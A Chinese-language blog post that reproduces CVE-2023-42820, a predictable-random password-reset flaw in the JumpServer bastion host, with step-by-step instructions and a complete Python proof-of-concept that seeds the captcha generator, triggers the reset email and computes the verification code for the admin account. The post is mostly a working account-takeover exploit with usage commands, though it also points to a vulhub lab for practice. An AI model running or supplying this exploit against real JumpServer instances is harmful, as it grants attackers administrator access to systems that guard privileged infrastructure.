【漏洞复现】JumpServer伪随机密码重置漏洞[CVE-2023-42820]

发布时间 2023-11-16 20:39:59作者: gloves7

  Jumperver是飞致云公司(https://www.jumpserver.org)旗下开源的堡垒机,是国内最受欢迎的开源堡垒机之一。小编也经常使用,也介绍给一些运维的客户使用,简直是运维神器。

  2023年9月爆出CVE-2023-42820造成任意用户密码重置漏洞。大概就是Jumpserver的一个第三方库django-simple-captcha中使用random函数的生成伪随机数,random函数通过一个初始化的随机种子来进行生成随机数,但是使用的初始化种子的值不变的话,那么后续生成的随机数的值和顺便也不会变,导致验证码随机字符串code可以被推测出来。

影响范围:版本v2.24 - v3.6.4

  靶场搭建:各位同学可以自行搭建vulnhub的靶场,下载网址 https://github.com/vulhub/vulhub/tree/master/jumpserver/CVE-2023-42820

,具体的搭建可以网上搜一下教程。由于我经常使用该堡垒机,因此可以直接使用之前搭建好的真实环境进行复现。

1.打开JumpServer登录页面,点击【忘记密码

 2.右键验证码图标,选择【在新标签页中打开图片

 

 http://192.168.1.254:60080/core/auth/captcha/image/edab219645a70ca33cb84893878d6fa1e4f33e64/

3.刷新验证码,用户名admin提交 跳转下一页面

 4.admin的默认邮箱是admin@mycomany.com,记下URL上的token值

 http://192.168.1.254:60080/core/auth/password/forgot/?token=Le0Idid3ohyscV8Ui8pG9eIdiVCwts31wCgT

5.使用大佬写好的poc去推算发给邮箱的验证码。大佬的poc代码如下:

import requests
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

can_startswith_special_char = args_true_count == 1 and special_char

chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break

password = ''.join(password)
return password

def nop_random(seed: str):
random.seed(seed)
for i in range(4):
random.randrange(-35, 35)

for p in range(int(180 * 38 * 0.1)):
random.randint(0, 180)
random.randint(0, 38)

def fix_seed(target: str, seed: str):
def _request(i: int, u: str):
logging.info('send %d request to %s', i, u)
response = requests.get(u, timeout=5)
assert response.status_code == 200
assert response.headers['Content-Type'] == 'image/png'

url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')
for idx in range(30):
_request(idx, url)

def send_code(target: str, email: str, reset_token: str):
url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)
response = requests.post(url, json={
'email': email,
'sms': '',
'form_type': 'email',
}, allow_redirects=False)
assert response.status_code == 200
logging.info("send code headers: %r response: %r", response.headers, response.text)

def main(target: str, email: str, seed: str, token: str):
fix_seed(target, seed)
nop_random(seed)
send_code(target, email, token)
code = random_string(6, lower=False, upper=False)
logging.info("your code is %s", code)

if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--target', type=str, required=True, help='target url')
parser.add_argument('--email', type=str, required=True, help='account email')
parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
parser.add_argument('--token', type=str, required=True, help='account reset token')

args = parser.parse_args()
main(args.target, args.email, args.seed, args.token)

自己搞成.py哈

然后使用格式

python poc.py -t http://ip:port --email admin@mycomany.com --seed [第一张验证码图片的值] --token [后面token的值]

像这样:python poc.py -t http://192.168.1.254:60080 --email admin@mycomany.com --seed edab219645a70ca33cb84893878d6fa1e4f33e64 --token Le0Idid3ohyscV8Ui8pG9eIdiVCwts31wCgT

5.执行POC,推算code

 6.然后再输入推算出来的验证码,提交。哎!!!这不是就可以了嘛

 

 7.成功登陆